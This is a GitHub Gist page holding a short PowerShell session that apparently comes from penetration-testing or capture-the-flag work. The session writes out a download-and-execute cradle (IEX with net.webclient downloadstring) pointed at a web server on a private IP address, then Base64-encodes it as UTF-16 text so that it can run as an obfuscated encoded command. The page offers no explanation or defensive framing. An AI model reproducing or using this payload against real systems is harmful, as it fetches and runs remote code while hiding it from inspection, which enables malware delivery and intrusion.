Created
February 14, 2019 15:54
-
-
Save T0w3ntum/381fd03716ced4039f6f96705568fef4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PS C:\Users\User> $Text = "IEX ((new-object net.webclient).downloadstring('http://10.10.8.101:8000/a'))" | |
PS C:\Users\User> $Bytes = [System.Text.Encoding]::Unicode.getBytes($Text) | |
PS C:\Users\User> $EncodedText = [Convert]::ToBase64String($Bytes) | |
PS C:\Users\User> $EncodedText |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment